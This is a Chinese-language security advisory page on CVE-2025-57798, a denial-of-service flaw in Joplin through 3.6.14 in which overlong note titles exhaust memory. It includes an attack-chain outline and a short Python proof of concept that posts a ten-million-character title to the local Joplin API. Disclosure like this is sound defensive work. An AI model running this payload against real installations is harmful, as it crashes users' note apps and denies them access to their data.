IPBUF安全漏洞报告
English
CVE-2025-57798 CVSS 5.5 中危

CVE-2025-57798 Joplin拒绝服务漏洞

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2025-57798
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Joplin

相关标签

拒绝服务DoSJoplin内存溢出本地漏洞

漏洞概述

Joplin是一款开源的笔记和待办事项应用程序。在3.6.14及更早版本中,由于标题输入功能缺乏适当的长度验证,存在一个拒绝服务漏洞。攻击者可以通过在笔记标题中插入超长字符串,导致应用程序出现内存不足(OOM)错误并崩溃。该漏洞可以通过用户界面直接输入,或者在获取认证令牌后通过本地Web服务API触发。此问题已在3.7.1版本中修复。

技术细节

该漏洞的根本原因在于Joplin在处理笔记标题时未实施严格的长度限制。当用户或API请求提交一个超长字符串时,应用程序尝试分配未定义的内存大小来存储该数据,导致资源耗尽。攻击路径主要有两种:一是本地攻击者直接在用户界面的笔记编辑或创建界面,将超长字符串粘贴至标题栏;二是利用Joplin运行的本地Web服务(通常监听41184端口)。如果攻击者能够通过恶意软件或其他本地漏洞获取用户的认证令牌,便可以通过发送恶意的HTTP POST请求向API端点传递超长的title参数。由于应用程序缺乏边界检查,解析该请求时会触发OOM,导致Joplin进程终止,从而造成拒绝服务。此漏洞利用需要本地访问权限,且CVSS评分为中危,主要影响系统的可用性。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者获得对运行Joplin的设备的本地访问权限。
STEP 2
步骤2:获取认证令牌
攻击者通过恶意软件或其他手段窃取Joplin本地Web服务的认证令牌(API利用方式),或者准备直接操作UI。
STEP 3
步骤3:发送恶意载荷
攻击者通过UI粘贴超长字符串,或使用令牌向本地API发送包含超长title参数的POST请求。
STEP 4
步骤4:触发内存溢出
Joplin应用程序处理超长标题时尝试分配非受限的内存,导致OOM错误。
STEP 5
步骤5:服务拒绝
应用程序崩溃或终止,导致用户无法访问笔记服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target local Joplin Web Clipper service target_url = "http://127.0.0.1:41184/notes" # Replace with a valid token if available (requires local access to read) auth_token = "YOUR_AUTH_TOKEN_HERE" headers = { "Authorization": f"Bearer {auth_token}" } # Generate a long string to trigger OOM # e.g., 10 million characters long_title = "A" * 10000000 payload = { "title": long_title, "body": "Test body" } try: response = requests.post(target_url, headers=headers, json=payload) print(f"Status Code: {response.status_code}") print("Note: If the service crashes, no response or connection error will occur.") except Exception as e: print(f"Exploitation triggered an exception (likely OOM/Crash): {e}")

影响范围

Joplin <= 3.6.14

防御指南

临时缓解措施
建议用户立即将Joplin应用程序升级至3.7.1或更高版本以修复此漏洞。在升级前,应避免运行不可信的脚本或软件,防止本地认证令牌泄露,从而降低通过API触发漏洞的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表